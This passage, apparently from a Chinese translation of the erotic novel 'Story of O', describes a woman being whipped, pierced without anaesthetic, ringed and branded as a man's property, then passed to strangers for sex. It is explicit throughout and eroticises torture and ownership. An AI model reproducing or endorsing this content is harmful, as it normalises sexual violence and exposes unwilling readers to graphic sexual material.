  那个房间是一间涂成白色的大卧室,挂着深紫色的印花窗,屋里显得空空荡荡。O把她的皮包、手套和衣服放在靠近门边的一把椅子上,屋里没有镜子,她走出房间,明亮的阳光令她感到晃眼,她缓步走回山毛榉的阴影之中。斯蒂芬先生仍旧站在安妮。玛丽面前,那只狗伏在他的脚边。安妮。玛丽的黑发夹着几缕灰色,头发闪着光泽,好像她在上面涂了某种发乳,她的蓝眼睛看上去接近黑色。她身着一袭白衣,腰间扎着一条亮闪闪的皮带,涂着鲜红寇丹的趾甲从皮凉鞋中露出,跟手指甲的颜色一模一样。

  “O,”她说,“在斯蒂芬先生面前跪下。”

  O乖乖地跪下来,她的手臂背在身後,乳头在微微颤抖。那只狗全身紧张,好像随时准备跳到她身上来似的。

  “躺下,特克,”安妮。玛丽喝斥那狗,然後说∶“O,你同意采用一切必要的方法佩戴铁环,并且按照斯蒂芬先生的愿望,把他的名字印在你身上吗?”

  “我同意。”O说。

  “那麽好吧,我要去送斯蒂芬先生上车,你呆在这儿不要动。”

  当安妮。玛丽把脚从蹬脚凳上放下来时,斯蒂芬先生弯下腰,用手抓住O的乳房,他吻了她的嘴唇,口中喃喃着∶

  “你是我的吗?O,你真是我的吗?”

  说完这话,他转过身去跟着安妮。玛丽走了,把O留在那里,大门砰然关闭。

  安妮。玛丽回来了,O仍旧跪坐在自己的脚跟上,她的手臂放在膝头,就像一尊埃及雕像。

  这座房子中还有另外叁个姑娘,每人在二层有一间卧室。O被安置在一楼的一间小卧室里,和安妮。玛丽的房间相联。安妮。玛丽叫她们全体下楼,到花园轩里去,和O一样,那叁个姑娘也都是赤裸裸的这个小小的女儿国掩蔽在严密的高墙之中,几扇俯瞰高墙外那条狭窄土路的百叶窗全关得严严的。在整个女儿国里,只有安妮。玛丽和叁位仆人是穿着衣服的,她们叁个里有一位是厨娘,另外两位是女仆。她们叁个看上去都比安妮。玛丽岁数还大,她们穿着黑色羊驼毛长裙,围着浆得很硬的围裙,表情阴郁而肃穆。

  “她的名字叫O,”安妮。玛丽重新落座,对大家说,“把她给我带过来,让我好好看看她。”

  两个姑娘扶着O站起来∶她们俩都属浅黑型的人,头发和阴毛都是深色的,她们的乳头硕大,颜色很深,几乎是紫色的。另一位姑娘是个小个子,有着一头蓬松的红头发,她胸脯雪白的皮肤上布满可怕的绿痕。那两个姑娘把O推到安妮。玛丽身边,她指着她身上那叁条从大腿延伸到臀部的黑色鞭痕∶

  “是谁鞭打了你?”她问道,“是斯蒂芬先生?”

  “是的。”O答道。

  “甚麽时候?用马鞭。”

  “叁天前,用马鞭。”

  “从明天开始,一个月之内你不会受到任何鞭打,但是今天你要受到鞭打,是为了纪念你来到此地,我为你检查完之後马上进行。斯蒂芬先生有没有把你两腿分开,鞭打过你的大腿内侧?没有过?的确是这样,男人们不知道该怎麽做。好,我们很快就会看到。让我看看你的腰,是了,比原来好多了!”

  安妮。玛丽按紧O的腰,使它显得更细一些,然後她派那个红发女孩去拿来另一件紧身衣给她穿上。这件也是黑色尼龙质地,但是浆得特别硬,而且特别窄,看上去简直像一条宽皮带。紧身衣上面没有吊带,一个女孩帮助O尽力把它系紧,安妮。玛丽一再要求她要系得尽可能的紧。

  “这样太难受了,”O说,“我不知道能不能受得了。”

  “全部问题就在这里,”安妮。玛丽说。“你看上去比过去可爱多了,问题就在于你过去系得不够紧。你以後要每天这样穿着它,但是现在告诉我,斯蒂芬先生喜欢怎样使用你?我需要知道这一点。”

  她用整个手掌握住了O的下部,O答不出话来。两个姑娘坐在草地上,第叁个姑娘,那个肤色浅黑的姑娘坐在安妮。玛丽的蹬脚凳旁边。

  “帮她转过身,姑娘们,让我看看她的後边。”安妮。玛丽说。

  那两个姑娘帮她转过身去,弯下腰,用手分开了她的双腿。

  “当然,”安妮。玛丽继续说,“你用不着告诉我,标记必须印在你的臀部。

  现在你可以站直了,我们要给你戴上手镯。柯丽特,去把盒子拿来,我们要抽签决定由谁来鞭打你。拿来筹码,柯丽特,然後我们去音乐室。”

  柯丽特是那两个深发姑娘中的一个,另一个叫克拉丽;那个红发的小个子姑娘叫伊沃妮。直到这时O才注意到,她们全都像在罗西那样戴着项圈,手腕上戴着手镯,她们的脚腕上也戴着同一式样的镯子。

  O挑了适合自己尺寸的手镯,由伊活妮给她戴好之後,安妮。玛丽递给O四枚筹码,让她分给每个姑娘,不要看上面的数字。O发给了她们,那叁个姑娘各自看了发给自己的筹码,没有作声,等着安妮。玛丽发话。

  “我得了二号,”安妮。玛丽说,“谁得了一号?”

  柯丽特得了一号。

  “好,把O带走吧!她是你的了。”

  柯丽特抓住了O的手臂,把她的双手背在背後,用手镯锁在一起,然後她推着O在前边走。她们穿过一座法式大门,走进一间小侧房,它和正房成直角构成了一个L型。伊沃妮脱掉了她的高跟鞋,在前边带路。
  藉着从法式大门射进来的亮光,可以看到房间的尽头有一个略有坡度的圆形建物,天花板是浅弧形的,由两根相距六英尺的细柱子支撑着。舞台大约有四英尺高,坐落在两根柱子之间,前缘向外微微拱出。舞台上和房间的其他地方一样,铺着红色的毛毡地毯。墙是白色的,挂的是红色的窗。面对舞台呈扇面形摆着一些沙发椅,上面铺着和地毯一样的红色毛毡。房间的另一端呈长方形,有一个很宽但不算太深的大壁炉,壁炉对面有大型的唱机和收音机,两边摆着唱片架,这就是这个房间被称为音乐室的原因了。壁炉旁的一扇门与安妮。玛丽的房间直接相连,壁炉另一侧有一扇一模一样的门通向一个壁柜。除了唱机和沙发,这个房间没有其他家具。

  在两根柱子的正中间,舞台的边缘同地面呈垂直角度,台阶设在柱子的外侧,柯丽特让O坐在舞台正中的边缘上,另外两个姑娘先是把威尼斯百叶窗稍稍合在一起,然後关上了那扇法式大门,O惊异地发现那是一扇双层门。

  安妮。玛丽笑了,说:“这样就再不会有人听到你的尖叫声了。墙上安装了软木,不必担心,没有人能听到这里发出的哪怕一丁点声音。现在躺好。”

  她抓住O的双肩,让她仰面躺下,然後又把她向上拉了拉。伊沃妮把她的手锁在舞台上的一只铁环上,O用双手抓住舞台的边缘,臀部悬空,安妮。玛丽把她的双腿向她的胸前拉起,随後O突然感到蜷起的双腿被拉直绷紧了:系在她脚腕镯子上的两条皮带把她的两腿拉开,捆在两边的立柱上,於是她就这样躺在两根柱子中间隆起的舞台上。从台下看,她全身唯一可见的部分,就是阴部和臀部两条裂得很开的缝隙,安妮。玛丽在抚摸着她的大腿内侧。

  “这是全身最柔嫩的地方,”她说,“注意不要伤害了它。别打得太重,柯丽特。”

  柯丽特居高临下站在O的齐腰处,在她深色大腿架成的桥梁之下,O看到她手里鞭子上的皮条在晃动。当烧灼似的第一下打击到来时,O呻吟了一声。

  柯丽特从左边转向右边,稍作停顿,又抽了一记。O拼命挣扎,觉得那两条皮带像是要把她肢解了似的。她不愿卑躬屈节,不愿哀求怜悯,然而那正是安妮。玛丽一心想从她嘴里逼出来的话。

  “快一点,”她对柯丽特说,“再狠一点。”

  O拼命忍着,但是没有用。只过了一分钟,她就再也不能忍受了,她尖声地哀叫,眼泪直流下来,安妮。玛丽抚摸着她的脸。

  “再忍耐一会儿,”她说,“就要完了。还有五分钟,她可以哭喊五分钟。已经二十五分钟了,柯丽特,在叁十分钟时我叫你停就停。”

  但是O在尖叫着:“不,不,看在上帝的份上!”她哭着喊着,她再也受不住了,不,她一秒钟也不能再忍受这种刑罚,然而,她还是熬到了头。柯丽特离开了小舞台,安妮。玛丽正在对她微笑。

  “你要为此感谢我,”她对O说。於是,O谢了她。

  她心里非常清楚,为甚麽安妮。玛丽最喜欢做的一件事就是鞭打她。女性像男性一样残忍,甚至比男性更不容情,O从未怀疑过这一点。但是O猜想安妮。玛丽对建立自己的权威形象并不十分热衷,而是更希望在她与O之间建立起一种共谋的意识。O从未真正理解,但她最终还是接受了这个不可否认的极其重要的道理,这个从情感上既坚信、而又感到矛盾的混合体:她喜欢肉刑,可是当受刑的是她自己时,她又会不顾一切地想逃避它;然而,当刑罚结束之後,她却为自己经历的过程感到快乐,而且刑罚越残酷越长久,她的快乐感觉就越强烈。

  安妮。玛丽是对的,她预见到O的默许和她的反抗心理,知道她哀求怜悯时的确是发自内心的。她还对O解释过这样做的第叁个理由:她决心向每一位来到她这里的姑娘和那些注定要在纯粹的女性世界中生活的姑娘们证明,一个人的女性度不应当因为周围全是女性就减弱或降低;恰恰相反,她的女性特徵应当被加深加强。

  这就是她要求姑娘们保持裸体状态的原因,O被鞭打的方式以及她被捆绑的姿势也不外是为了这个目标。今天是O在下午馀下的时间还有叁个小时在舞台上两腿扬起分开示众。明天,将会是克拉丽、或是柯丽特、或是伊沃妮,而由O来观看。这种技术比起罗西的做法是一种更加缓和而细腻的方式(包括使用鞭子的方式)。

  但是O会看到它是多麽有效,除了她离开此地时将戴上的铁环和印上的字母,她还将以一种更加开放的姿态回到斯蒂芬先生身边,更深地陷入奴隶状态之中,比她预想的程度还要深得多。

  第二天早晨,早餐之後,安妮。玛丽让O和伊沃妮跟她到她的卧室去一趟。

  她从写字台里拿出一只绿色皮箱,放在床上,打了开来。两个姑娘蹲在旁边。

  “伊沃妮跟你说过这个吗?”安妮。玛丽问O。

  O摇摇头。伊沃妮会告诉她甚麽呢?

  “而且据我所知,斯蒂芬先生也没提起过。这没关系。这就是他想给你戴上的铁环。”

  环子是不钢制成的,没有经过抛光,有着跟那金的铁戒指一样的钝色。它们是椭圆形的,像那种连接成沉重铁链的铁环中的一只,金属圆环的厚度同大号彩色铅笔的直径相仿。安妮。玛丽让O仔细看,每个环子都由两个U型半圆组成,两半刚好可以套在一起。

  “这只是试验模型,”她说“戴上以後还可以拿掉。你再看那种永久性的,它里面有个弹簧,你只要轻轻一按,它就和环的另一半锁在一起了,只有用钢锉才能打开。”

  每个环子有小拇指的两节那麽长,环中可以伸进一个小拇指。这些环子像耳环一样挂成一排,在相当於耳垂的位置上,是一个圆形金属片,大小与环子的直径相仿,金属片的一面是金的徽记,另一面甚麽也没有。

  “这空白的一面,将印上你的名字、你的头衔,还有斯蒂芬先生的姓名,”安妮。玛丽说,“在名字上面有皮鞭和马鞭交叉的标记。伊沃妮的项圈上戴着这样一个金属片,但是你的将戴在阴部。”

  “可是……”O鼓起勇气说。

  “我知道,”安妮。玛丽答道,“这是我叫伊沃妮同来的原因。让我们看看你的,伊沃妮。”

  红发姑娘站起身来,然後在床上仰面躺下,安妮。玛丽分开她的大腿,O看到一片阴唇上被打了一个很圆的洞,就在阴唇中部偏下一些的地方,刚好可以把铁环放进去。

  “我马上就给你打孔,O,”安妮。玛丽说,“其实这一点不难,最费时间的是在孔里放进一只小夹子,让外层皮肤与内层皮肤长在一起,这比鞭打容易忍受得多。”

  “你的意思是不给我打麻药?”O惊叫起来,浑身颤抖。

  “当然不打,”安妮。玛丽回答,“仅仅把你捆得比昨天更紧一点。那就足够了。现在来吧。”

  一星期之後,安妮。玛丽取掉了小夹子,放进了试验模型。它的份量比看上去要轻,因为是空心的,但是O仍能感觉到它的重量。那坚硬的金属很显眼地刺入肉中,看上去像是一种刑具。等到第二个环子的重量再加上去之後会怎麽样呢?这个野蛮的刑具特别显眼,人们在偶然的一瞥之间就会立即发现它。

  “它当然会被发现,”当O向安妮。玛丽指出这一点时,她说,“你到现在还不明白斯蒂芬先生要求的是甚麽吗?他要求的是,任何人,不论在罗西还是其他甚麽地方,不论是斯蒂芬先生还是其他任何人,甚至当你自己站在镜子前时也一样,只要撩起你的裙子,就会立即看到他的环子在你的阴部;只要你转过身去,就会看到他的名字的缩写在你的臀部。你在将来的某一天也许会把环子锉开取掉,但是你臀部的标记却永远去不掉。”

  “我认为纹身的花纹是有可能搞掉的。”柯丽特说。

  (伊沃妮是纹了身的,在她阴户上方的雪白皮肤上,伊沃妮主人的名字缩写与用花体的蓝色字母纹在那里,就你刺绣的字母那样。)

  “O,不是纹身,”安妮。玛丽答道。

  O看着安妮。玛丽,柯丽特和伊沃妮也很吃惊,但甚麽也没说。安妮。玛丽在搜寻字句。

  “说吧。”O说。

  “我可怜的姑娘,我简直没有勇气告诉你:你会被打上烙印:斯蒂芬先生在两天前送来了烙印铁模。”

  “打烙印?”伊沃妮叫道,“用烧红的烙铁?”

  从第一天开始,O就分享了这所房子里的共同生活。闲散,绝对的闲散,有意制造的闲散,这就是每天的生活,点缀着一些无聊的消遣。姑娘们可以自由地在花园中散步,阅读,画画,打牌,玩单人纸牌戏;她们可以在自己的房间睡觉或在草地上作日光浴;有时两个人聊聊天,一聊几个小时;有时就坐在安妮。玛丽身边默默无语。进餐总是在相同的时间,晚餐时桌上点着蜡烛,茶送到花园里,两个仆人侍候着这些围坐在宴会桌旁的裸体女郎时那种司空见惯的方式,令人感到有点荒诞不经。

  到了夜间,安妮。玛丽指定姑娘中的一个与她同寝,有时也同一个姑娘连续睡好几天。她抚摸被她选上的伙伴,也让她爱抚她,她总是快到黎明时才睡去,而且很快就睡着了,在睡去之前她吩咐那个姑娘回自己房间去。紫色的窗半开半翕,染上了黎明的紫红色。伊沃妮曾经说过,安妮。玛丽在追求快乐方面显得既美丽傲慢又不知餍足。

  没有任何人见过她的裸体,她每次只是轻轻地拉起或稍稍打开一点她的白尼龙睡袍,从不脱下来。无论前一晚她尝到的快乐,还是她对伙伴的选择,都丝毫不会影响她第二天下午的决定,那决定总是由抽签决定的。在下午叁点钟,在那棵红铜色的山毛榉树下,花园里的椅子围着白色大理石桌摆成一圈,安妮。玛丽拿出抽签盒。

  每个姑娘抽一支签,不论是谁,只要抽到了分数最低的那支签,就会被带到音乐室去,像O来到的第一天那样被捆在舞台上。然後她必须指一下安妮。玛丽的右手或者左手(O不必做这件事,直到她离开此地都不必做),她一只手中是一枚黑球,另一只是白球。如果她点到黑的,她受鞭打,点到白的不受鞭打。

  安妮。玛丽从来不通融,不论机遇使一位姑娘连续几天倒霉还是获释。

  就是因为这样,小伊沃妮的刑罚持续了四天,她哭喊着她情人的名字,大腿和前胸布满了蛛网一样的血痕,敞开的双腿中间露出那被粗铁环穿透的粉红色肉体。

  她最後终於上了那只铁环,由於她的阴毛已经被全部刮光,那景象更是格外显眼。

  “但是为甚麽呢?”O想知道,“你已经在项圈上戴了金属片,为甚麽还要戴铁环呢?”

  “他说当我把那里刮乾净时,会显得更加裸露。那环子,我想,那环子是为了把我系在那里用的。”

  每次看到伊沃妮的绿眼睛和她尖尖的小脸,O总会想起杰克琳。杰克琳是不是已经去了罗西?杰克琳或迟或早会到这里来的,她也会被仰面朝天捆绑在这舞台上吗?

  “我不愿意,”O想说,“不希望也不会参与把她弄到这儿来的行动。就是这样,我已经说得太多了,杰克琳不属於接受鞭打和被打上烙印的类型。”

  但是那些鞭打和铁环是多麽适用於小伊沃妮呵!她的呻吟声和叹息声是多麽可爱,她的身体浸在汗水之中时是多麽可爱,使她的呻吟和流汗,又是多麽令人兴奋愉快的事情呵!有两次安妮。玛丽递给O那条由一簇皮条作成的鞭子两次被鞭打的都是伊沃妮让她用这个。头一次在开始时她感到犹豫不决,在伊沃妮发出第一声尖叫时O不禁退缩了一下,但一旦她重新开始而伊沃妮的哭喊重新响起时,她却被一种巨大的快感完全压倒了。

  那感觉是如此强烈,以致她发现自己不由自主地在笑,而且发现要想克制自己尽全力鞭打伊沃妮的冲动,几乎是不可能的。鞭打结束之後,她一直守候在继续被捆在舞台上的伊沃妮身旁,一次又一次地拥抱她。在某种意义上她很像伊沃妮,至少安妮。玛丽是这样看她们俩的。

  是O的沉默寡言和她的驯顺,使安妮。玛丽那麽喜欢她吗?O的伤口还没长好时,安妮。玛丽就对她说:

  “我是多麽後悔没有亲手鞭打你呵!……等你再来时……但是咱们别再说这个了,无论如何,我要每天都打开你的身体。”

  每一天,当那个被带到音乐室的姑娘松了绑之後,O就取代了她的位置,直到晚餐钟敲响的时候。安妮。玛丽是对的:在那两个小时当中,她的确只能想着一件事,那就是她的身体是被打开的,那只铁环重重地悬在她的身体上(在她戴上了一只铁环之後),在她们给她戴上了第二只铁环之後,那里变得更加沉重,除了她的奴役状态以及表明这一状态的标志之外,她甚麽也不能想了。

  一天晚上,克拉丽和柯丽特从花园到O那里去,检查了两边的两只铁环。

  “你去罗西的时候,”克拉丽问,“是安妮。玛丽带你去的吗?”

  “不是。”O说。

  “是安妮。玛丽带我去的,两年以前。我後天又要回到那里去了。”

  “你属於某个人吗?”O问。

  “克拉丽属於我,”安妮。玛丽说,她不知甚麽时候突然出现在她们的面前,“你的主人明天就到了,O。今天晚上你和我一起睡。”

  短短的夏夜,还不到四点钟,天就开始发亮了,天光淹没了最後的星星。

  O双腿并拢地睡着,忽然被安妮。玛丽探在她大腿间的手弄醒了。安妮。玛丽要做的事就是把O弄醒,让O抚摸她。

  她的眼睛在半明半暗中闪着光,她的夹着几缕灰色的黑发在枕头上向上散开:有一点点卷,剪得短短的,使她看上去像是在放逐中的贵族男子,那些勇敢无畏的浪子。O用嘴唇摩擦着她变硬的乳头,她的手轻轻地滑过她的腹股沟。

  安妮。玛丽很快就屈服了但不是对O。那使她睁大眼睛凝视着越来越亮的天光的快乐是一种非个人的快乐,在其中O只是一个工具而已。安妮。玛丽既不关心O崇拜地注视着她的面孔和嘴唇的目光,也不在意O听到了她的呻吟,她的面孔在一刹那间变得神采奕奕,焕发出青春的闪光。她可爱的嘴唇半开半闭,当O的嘴唇和牙齿咬到了她阴部隐藏的小小肉峰之时,她发出了呻吟。她抓住O的头发,使她更紧地贴着她,每次放开她只是为了下一道命令:

  “再来,再来一次。”

  O曾以同样的方式爱着杰克琳,使她完全投入自己的怀抱。她曾占有过她,或至少她是这麽认为的。但是只有动作的相像说明不了甚麽,O并没有占有安妮。玛丽,没有任何人占有过安妮。玛丽。安妮。玛丽要求爱抚但并不关心那些提供爱抚的人感觉如何,她以一种傲慢的自由交出她自己。然而她对O又极其慈祥,极其温柔,吻她的嘴唇和乳房,紧紧地抱着她有一个小时之久,才让她回自己的房间去。

  她摘下了她的铁环。

  “这是你在这里的最後几个钟点了,”她说,“你可以摘掉铁环睡觉,再过一会儿,我们要给你戴上铁环,你就永远拿不掉了。”

  她轻柔地长时间地抚摸着O的臀部,然後带她到她本人的更衣室去,那是整幢房子里唯一一间有叁面镜的房间。她把镜子打开,使O能看到镜中的自己。

  “这是你最後一次看到完整无损的自我了,”她说,“这里,在这个平坦圆润的地方,就是要打上斯蒂芬先生名字的部位,在你臀部两个凸起的部位。在你离开此地的前一天,我会再把你带到这里,让你看看自己的另一副形象,你会认不出你自己来的。但是斯蒂芬先生是对的。现在去睡一会儿吧,O。”

  但是O因为过於焦虑不安,以致难以入眠。第二天早上十点钟,伊沃妮来叫她时,O浑身颤抖,不得不让伊沃妮帮她洗浴、梳头、涂唇膏。她听到花园的大门开了,是斯蒂芬先生到了。

  “现在来吧,O,”伊沃妮说,“他在等你了。”

  太阳已经很高,一丝风也没有,那棵山毛榉树上的叶子一动也不动,好像它真是用铜打制的一样,那只狗被酷热逼得趴在树根旁边。由於阳光并没有完全被浓密的树荫遮住,光线透过枝叶落下来,大理石桌面上满灿烂而温暖的光点。

  斯蒂芬先生一动不动地站在石桌旁,安妮。玛丽坐在他的身後。

  “她来了,”当伊沃妮把O带到他们面前时,安妮。玛丽说,“你随时可以给她戴上那铁环,她已经穿好孔了。”

  斯蒂芬先生没有回答,只是一把抱住O,吻了她的嘴唇,把她抱起来,放在石桌上,俯身向她,然後他再次吻了她,抚摸了她的眉毛和头发,随後站直身子,对安妮。玛丽说:

  “假如你认为合适的话,就现在吧。”

  安妮。玛丽拿出她随身带来的皮箱,在椅子上坐下,把铁环递给斯蒂芬先生,它们是打开的,上面刻了O和斯蒂芬先生的名字。

  “可以开始了。”斯蒂芬先生说。

  伊沃妮提起了O的膝盖,当安妮。玛丽把铁环给她戴上时,O感到了金属的冰冷。当她把第二只环套进第一只环里时,注意让金的那面贴着她的大腿,刻有姓名的一面向着中间。可是由於弹簧太紧,套锁难以锁到位,他们不得不派伊沃妮去拿锤子。然後他们让O坐起来,身体微微後仰,两腿分开,放在桌面的边缘上,就像放在铁砧上那样,用锤子敲打着铁环的另一头,使它终於到了位。斯蒂芬先生自始至终默默地看着,一言不发。

  一切都弄好之後,他向安妮。玛丽致谢,扶着O站起身来。这时她才发现,这新铁环比过去几天中她戴的临时铁环要重的多,这次是永久的了。

  “现在该是你的名字了,对不对?”安妮。玛丽对斯蒂芬先生说。

  斯蒂芬先生点头表示赞同,搂住O的腰她蹒跚了一下,好像要跌倒。

  她虽然没穿那件黑色的紧身衣,但体型已经被塑造得更加理想,她的腰现在是那麽纤细,看上去好像一不小心就会折断似的,她的臀部和乳房因此显得更加丰满了。

  斯蒂芬先生几乎不是领着O、而是拖着她走进音乐室的,柯丽特和克拉丽坐在舞台边,当他们走来时,两个姑娘同时站起身来。舞台上有一个炉火熊熊的大号圆筒炉子,安妮。玛丽从壁橱里拿出皮带,把O的腰和双膝紧紧地捆在柱子上,使她的肚子紧贴着柱子,他们还把她的双手和双脚也捆了起来。

  O陷入极度的恐惧之中,只觉得安妮。玛丽的手到她的臀部,指点着烙印的确切位置。在一片死寂之中,O听到火苗的嘶嘶声和关窗的声音。其实她可以转过脸来看看的,可她没有那个勇气。

  一个尖利的刺痛猛然穿透了她的全身,使她捆着的身体一下绷紧了,一声惨叫裂唇而出,而她永远也不会知道,把那两块烙铁同时烙在她臀部的双峰之上的人是谁,不会知道是谁的声音慢慢从一数到五,也不会知道是谁的手发出了撤掉烙铁的信号。

  当他们为她松绑之後,她瘫倒在安妮。玛丽的怀抱中,在眼前变得一片漆黑和最终完全失去知觉之前,她还来不及在一瞥之间看到斯蒂芬先生那张苍白的脸。

  在七月份结束前的第十天,斯蒂芬先生开车带O回到巴黎。她左阴唇铁环上那粗黑的字体郑重地表明,她已经是斯蒂芬先生的个人财产,那铁环一直悬垂到她大腿的叁分之一处,每走一步就会前後晃动,像钟舌一样,那个金属片比铁环还重还长地挂在那里。两个烙印上去的字母有3英寸长,1。5英寸宽,就像用凿子凿出的那样烫进肉里面去,几乎有半英寸深:手指轻轻一摸就可以清楚地感觉到。

  O为这铁环和烙印感到无比自豪,她绝不打算再对杰克琳掩饰她的这些标记,就像她离开家的前几天曾竭力隐藏起斯蒂芬先生用马鞭抽出来的鞭痕那样。她会尽快地找到杰克琳,让她看自己的这些标记。但是杰克琳还有一个星期才能回来,勒内也不在。

  在那个星期里,按照斯蒂芬先生的指示,O订做了好几套夏装,还有用极其轻软的材料缝制而成的睡衣。他只许她买两种式样的衣服,但是每一种式样可以有好几套:一种式样是前边有一拉到底的拉锁的(O已经有好几件这样的衣服了);另一种式样是容易掀起的长裙,上身总是一件下缘盖住乳房的紧身衣,同一件前开襟的无袖背心配在一起。只要把背心脱掉,肩膀和乳房就可以全部露出,如果有人想看她的乳房,把扣子解开就行了。

  浴衣当然根本就不需要;那铁环反正会从浴衣下面露出来的。斯蒂芬先生对她说,这个夏天无论甚麽时候她去游泳,必须是全裸的,也不许穿海滨泳装。关於那两种基本样式的规定,是由安妮。玛丽提出的,她了解斯蒂芬先生最喜欢使用O的方式,因此她又提出,O可以穿一种两侧有长拉链的游泳衣,这样就可以在不必脱掉泳装的情况下露出臀部。

  但是斯蒂芬先生拒绝了安妮。玛丽的这一建议,他使用O的嘴,除此之外,他几乎永远是像对男孩子那样使用O。但是O已经多次注意到,每当她在他近旁,即使是在他并不十分想要她的时候,他也总爱用手握着她的阴部,就那麽机械地用手握着它,把玩着覆盖在那上面的毛发,用手打开那里并把手指深深地探进去。

  O也用同样的方式从杰克琳身上得到过快乐,她手指上曾经感觉过的潮湿和灼热,正是斯蒂芬先生从她身上获得的快乐的证据的保证,她十分理解为甚麽他不愿意让任何外部障碍挡在他的幸福之路上。

  头上不戴帽子,完全不化妆,让头发完全散开,穿着条纹或点子的蓝白色相间或灰白色相间的皱纱裙,一直扣到脖子的贴身坎肩,或者穿她那些款式比较保守的黑色尼龙长裙,O看上去就像一个很有家教的小姑娘。

  不论斯蒂芬先生陪伴她出现在哪里,她总是被当成他的女儿或侄女,而使这一误解进一步加深的一个原因是,他称呼她时总用“你”,而她对他用的是“您”。

  当他们一起徜徉在巴黎街头,游览着橱窗,或沿着码头那条因为天气乾旱蒙上了一层灰尘的石子路散步时,迎面起来的人对他们露出微笑,那是人们对看上去很幸福的人露出的那种微笑,他们从容地接受了这种微笑。

  偶尔斯蒂芬先生会把她推进一个门洞或是一座建的拱顶甬道下,那是总是比较幽暗,散发着一股古老的地窖的霉味,他会吻她,告诉她他爱她。

  O会把脚跟勾在门洞的石阶上,大门往往是堵死的。

  他们会在一瞥之中看到一家的後院,窗户上晾着一排衣服。一位金发女郎斜倚在凉台上,她会定定地盯着他们看个不停。一只猫从他们腿中间钻过。

  就这样他们漫步在哥贝林街区,经过圣麦可,沿着莫夫塔德路,经过一个被称作神庙的地方,最後到达巴士底。

  有一次,斯蒂芬先生突然引着O走进一间条件恶劣得像间妓院似的旅馆,在那里,侍应生先要求他们填表,但随後又说,如果只是一个小时,就不必麻烦了。房间里的糊壁纸是蓝色的,上面点缀着许多金色的牡丹花,窗户冲着一个天井,散发出一股垃圾桶的气味。尽管灯光昏暗,他们还是能看到壁炉台上有人扑粉时留下的痕迹,还有被人遗忘在那里的发夹。在床上方的天花板上悬着一面大镜子。

  有一次,那是唯一的一次,斯蒂芬先生邀请O和两位路经巴黎的英国同胞共进午餐。他提前一个小时到达她家,可是这次他没有带她去他的住处,而是开车带她去了B区。

  O当时已经洗好了澡,但还没有梳头化妆,也没穿好衣服。她惊奇地发现斯蒂芬先生身上背着一只高尔夫球袋,虽然里边看上去不像有高尔夫球棍的样子。斯蒂芬先生很快就满足了她的好奇心,他吩咐她打开袋子,里边赫然露出几条皮鞭:两条相当厚重的红色皮鞭;两条又细又长的黑色皮鞭;一条由一束绿色皮条扎成的皮鞭,皮条的一端折过来形成一个环;一条用厚皮带做成的狗鞭,鞭柄是用皮条编成的;还有在罗西使用的那种皮手镯,外加一些绳索。

  O把它们一条一条拿出来,排列在起床後还没整理好的床上。不论她对鞭子已经多麽司空见惯,也不论她去面对它们的决心有多麽大,她还是不由自主地哆嗦起来。斯蒂芬先生拥抱住她。

  “你喜欢哪一条,O?”他问她。

  可她一句话也说不出来,冷汗顺着胳膊直淌下来。

  “你喜欢哪一条?”他又问了一次,“好吧,”见她说不出话来,他改口说:“你先来帮帮我。”

  他吩咐她取来一些钉子,按照一种交叉重叠的装饰性方式,把这些鞭子布置起来,最後做成了一幅由鞭子组成的图案,这幅图案位於穿衣镜和壁炉之间,正好对着她的床,这是最理想的位置。

  他在木头上敲上一些钉子,每条皮鞭柄上都有一只小铁环,可以用它把皮鞭挂在钉子上,这样布置的效果,是使每条鞭子都可以轻而易举地拿下来,用完後再挂回墙上它原来的位置。

  外加上手镯和绳索,O将在床对面的墙壁上看到一幅她的刑具的完整排列。这一套漂亮的工具搭配得十分和谐,看上去就像圣女凯瑟琳肖像画上的轮子和长钉,又像耶稣受难像上的钉子、锤子、荆冠、长矛和鞭子。

  等到杰克琳回来的时候……可是这一切应当包括杰克琳在内的,她早已深深卷入其中了。O最终还是得回答斯蒂芬先生提出的问题:她回答不出,於是他自己选择了那条狗鞭。

  在挨着左岸码头的贝罗斯饭店叁楼的一个小单间里,暗色的墙壁用亮色和点彩笔法画着看上去像木偶戏院演员的人像。O被单独安置在沙发上,斯蒂芬先生的一位朋友坐在她右手的安乐椅上,另一位坐在左手,斯蒂芬先生坐在对面。

  她回忆起其中的一位,是在罗西见过面的,但她记不起来他是不是曾经占有过她。另一位是个高个子红头发的男孩,长着一对灰眼睛,年龄不会超过二十五岁。

  斯蒂芬先生对他们讲了他邀请O来此地的原因以及她是甚麽人,只用一两句话就介绍完了。

  听着他的介绍,O又一次为他用语的粗鲁而震惊。然而,她又能指望自己被怎样介绍给别人呢?即使她不是一个妓女,而是一个姑娘,可她却当着叁个男人的面(更不必说那些进进出出的侍者,他们在继续上菜),解开自己的紧身衣,露出乳房,让他们看到唇膏涂成红色的乳头,而且他们还能够从她乳白色皮肤上的紫色鞭痕看出她曾经遭受过鞭打。

  午饭吃了很长时间,那两个英国人喝了很多酒。上过咖啡之後,当又一轮酒送上来时,斯蒂芬先生把桌子推靠到对面的墙边,掀起O的裙子,让他的朋友们看她身上的烙印和铁环。做完这件事之後他就告辞了,把她留给了那两个男人。

  那个她在罗西见运的男人一点时间都没耽搁:他并没有离开他落座的那张安乐椅,甚至没有用他的手指尖她一下,径直命令她跪在他面前,爱抚他,直到他在她嘴里射了精。完事之後,他吩咐她把他的衣服整理好,然後就离开了。

  然而那个红头发的小伙子却被O的驯服温顺的态度、她身上的铁环、她身上的鞭痕完全征服了,他不是像她预期的那样扑到她身上来,而是拉起她的手下了楼,丝毫也不去注意侍者们的暧昧笑容,叫了一辆出租车,把她带回他的旅馆房间。

  他一直到天黑才放她回去,在这段时间里,他疯狂地从前面和後面要了她,两处都做得既无情又过分的凶暴和猛烈。他的尺寸和硬度极不寻常,而且完全陶醉在他突然之间获得的自由之中,这一自由允许他以两种方式进入一个女人,而且还允许他让她用另一种方式来抚爱他,就是不久前他看到那个人命令她采用的那种方式(这是他以前从来不敢要求於任何人的方式)。

  第二天,当O在下午两点钟应招到达斯蒂芬先生的住处时,她发现他好像变老了,他的面孔上写满了忧虑。

  “艾里克已经无可救药地爱上了你,O。”他告诉她,“今天早上他给我打来电话,恳求我给你自由。他对我说,他想和你结婚,他想拯救你。你已经知道,如果你是我的,我会怎麽对待你。O,如果你是我的,你就没有权利拒绝我的命令;但是你也知道,你一向都有选择不再属於我的自由。我就是这样告诉他的,他叁点钟还要来这里。”

